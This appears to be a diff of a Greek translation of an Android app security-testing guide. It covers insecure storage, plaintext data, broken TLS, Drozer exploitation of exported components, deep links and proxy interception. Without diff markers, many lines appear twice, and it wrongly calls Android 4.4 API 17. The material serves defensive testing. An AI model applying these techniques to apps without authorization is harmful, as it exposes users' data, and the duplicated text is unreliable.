Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
1. **Στατική Ανάλυση:**
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν ενδεχομένως να εκθέσουν** αρχεία σε **μη προγραμματισμένη ή μη εξουσιοδοτημένη πρόσβαση**.
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένη ή μη εξουσιοδοτημένη πρόσβαση**.
2. **Δυναμική Ανάλυση:**
- **Επαληθεύστε** τις **άδειες** που έχουν οριστεί σε αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
- **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
**Εξωτερική Αποθήκευση**
Όταν ασχολείστε με αρχεία σε **εξωτερική αποθήκευση**, όπως κάρτες SD, θα πρέπει να ληφθούν ορισμένες προφυλάξεις:
Όταν ασχολείστε με αρχεία σε **εξωτερική αποθήκευση**, όπως οι κάρτες SD, θα πρέπει να ληφθούν ορισμένες προφυλάξεις:
1. **Προσβασιμότητα**:
- Τα αρχεία στην εξωτερική αποθήκευση είναι **παγκοσμίως αναγνώσιμα και εγγράψιμα**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά τα αρχεία.
@ -131,19 +116,19 @@ android-task-hijacking.md
- Δεδομένης της ευκολίας πρόσβασης, συνιστάται **να μην αποθηκεύετε ευαίσθητες πληροφορίες** στην εξωτερική αποθήκευση.
- Η εξωτερική αποθήκευση μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας την λιγότερο ασφαλή.
3. **Διαχείριση Δεδομένων από Εξωτερική Αποθήκευση**:
- Πάντα **εκτελέστε έλεγχο εισόδου** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
- Πάντα **εκτελέστε έλεγχο εισόδου** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο καθώς τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
- Η αποθήκευση εκτελέσιμων ή αρχείων κλάσης στην εξωτερική αποθήκευση για δυναμική φόρτωση αποθαρρύνεται έντονα.
- Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **υπογεγραμμένα και κρυπτογραφικά επαληθευμένα** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας.
Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
**Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα sqlite βάσεις δεδομένων στη διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στην διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στην διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
### Σπασμένο TLS
@ -168,7 +153,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
### Άλλοι έλεγχοι
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη διαδικασία αντίστροφης μηχανικής για τους επιτιθέμενους.
- Συνιστάται να **αποκρύπτετε το APK** για να δυσκολέψετε τη διαδικασία αντίστροφης μηχανικής για τους επιτιθέμενους.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
@ -196,11 +181,11 @@ react-native-application.md
### Αυτοματοποιημένη Στατική Ανάλυση Κώδικα
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **ευπάθειες** μέσω **σάρωσης** του **κώδικα** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **γνωστές πηγές** (που υποδεικνύουν στο εργαλείο τις **θέσεις** όπου η **είσοδος** ελέγχεται από τον χρήστη), **sink** (που υποδεικνύουν στο εργαλείο **επικίνδυνες** **θέσεις** όπου η κακόβουλη είσοδος του χρήστη θα μπορούσε να προκαλέσει ζημιές) και **κανόνες**. Αυτοί οι κανόνες υποδεικνύουν τον **συνδυασμό** **πηγών-sinks** που υποδεικνύει μια ευπάθεια.
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **ευπάθειες** μέσω **σάρωσης** του **κώδικα** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **γνωστές πηγές** (που υποδεικνύουν στο εργαλείο τις **θέσεις** όπου η **είσοδος** ελέγχεται από τον χρήστη), **sink** (που υποδεικνύουν στο εργαλείο **επικίνδυνες** **θέσεις** όπου η κακόβουλη είσοδος του χρήστη θα μπορούσε να προκαλέσει ζημίες) και **κανόνες**. Αυτοί οι κανόνες υποδεικνύουν τον **συνδυασμό** **πηγών-sinks** που υποδεικνύει μια ευπάθεια.
Με αυτή τη γνώση, **το mariana-trench θα αναθεωρήσει τον κώδικα και θα βρει πιθανές ευπάθειες σε αυτόν**.
### Μυστικά που διέρρευσαν
### Μυστικά που διαρρέουν
Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
@ -225,21 +210,6 @@ content-protocol.md
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Ενημερώσεις Χάκινγκ**\
Συμμετάσχετε σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking.
**Νέα Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο.
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας.
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
---
## Δυναμική Ανάλυση
@ -248,7 +218,7 @@ content-protocol.md
### Διαδικτυακή Δυναμική Ανάλυση
Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και **να εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
Μπορείτε ακόμη να **δείτε τα logs της εφαρμογής σας** στο διαδίκτυο και να συνδεθείτε μέσω **adb**.
@ -260,7 +230,7 @@ content-protocol.md
#### Χρησιμοποιώντας έναν εξομοιωτή
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν **ARM libraries** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
{{#ref}}
@ -277,7 +247,7 @@ avd-android-virtual-device.md
![](<../../images/image (277).png>)
Επίσης, σημειώστε ότι στη **ρύθμιση της Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδέεστε στην Android VM από μια διαφορετική VM με τα εργαλεία).
Επίσης, σημειώστε ότι στη **ρύθμιση της Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδεθείτε στην Android VM από μια διαφορετική VM με τα εργαλεία).
#### Χρησιμοποιήστε μια φυσική συσκευή
@ -290,7 +260,7 @@ avd-android-virtual-device.md
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
> Θα προτείνω να **εκτελέσετε αυτή την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF dynamic analysis + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
### Ακούσια Διαρροή Δεδομένων
@ -304,17 +274,17 @@ avd-android-virtual-device.md
**Caching του Buffer Αντιγραφής/Επικόλλησης**
Το **clipboard-based** πλαίσιο του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικής κάρτας, για να αποτρέψετε διαρροές δεδομένων.
Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικής κάρτας, για να αποτρέψετε διαρροές δεδομένων.
**Crash Logs**
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριαστεί αυτός ο κίνδυνος, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριαστεί αυτός ο κίνδυνος, αποφύγετε την καταγραφή σε περιπτώσεις καταρρεύσεων, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
**Δεδομένα Analytics που αποστέλλονται σε τρίτους**
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
### SQLite DBs
@ -327,19 +297,19 @@ avd-android-virtual-device.md
### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών)
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλάβετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράσετε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες.
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη **μέθοδο `onCreate`**.
Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
**Παράκαμψη εξουσιοδότησης**
Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/#activities)
[**Μάθετε πώς να εκμεταλλευτείτε τις εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/#activities)
Μπορείτε επίσης να ξεκινήσετε μια εξαγόμενη δραστηριότητα από το adb:
@ -348,23 +318,23 @@ avd-android-virtual-device.md
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (εκδόσεις API < 21).
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API εκδόσεις < 21).
> [!ΣΗΜΕΙΩΣΗ]
> Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
**Διαρροή ευαίσθητων πληροφοριών**
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Αν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Εάν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
#### Tapjacking
Αν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](./#tapjacking).
Εάν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](./#tapjacking).
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Αν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
[**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/#content-providers)
@ -373,7 +343,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Υπηρεσία.**](android-applications-basics.md#services)\
Θυμηθείτε ότι οι ενέργειες μιας Υπηρεσίας ξεκινούν στη μέθοδο `onStartCommand`.
Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, αν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, εάν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
[**Μάθετε πώς να εκμεταλλευτείτε τις Υπηρεσίες με το Drozer.**](drozer-tutorial/#services)
### **Εκμετάλλευση Δέκτες Εκπομπών**
@ -387,7 +357,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **Εκμετάλλευση Σχημάτων / Deep links**
Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή σενάρια όπως [αυτό](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **φυλλομετρητή**:
Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **περιηγητή**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -417,7 +387,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_).
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση συνδέσεων HTTP.
- **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
@ -429,23 +399,23 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
#### SSL Pinning
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με βάση μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την πρόληψη επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με βάση μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
#### Επιθεώρηση Κίνησης
#### Επιθεώρηση Κυκλοφορίας
Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Για να επιθεωρήσετε την HTTP κυκλοφορία, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κυκλοφορία μπορεί να μην είναι ορατή μέσω του proxy. Για έναν οδηγό σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το tutorial**](make-apk-accept-ca-certificate.md).
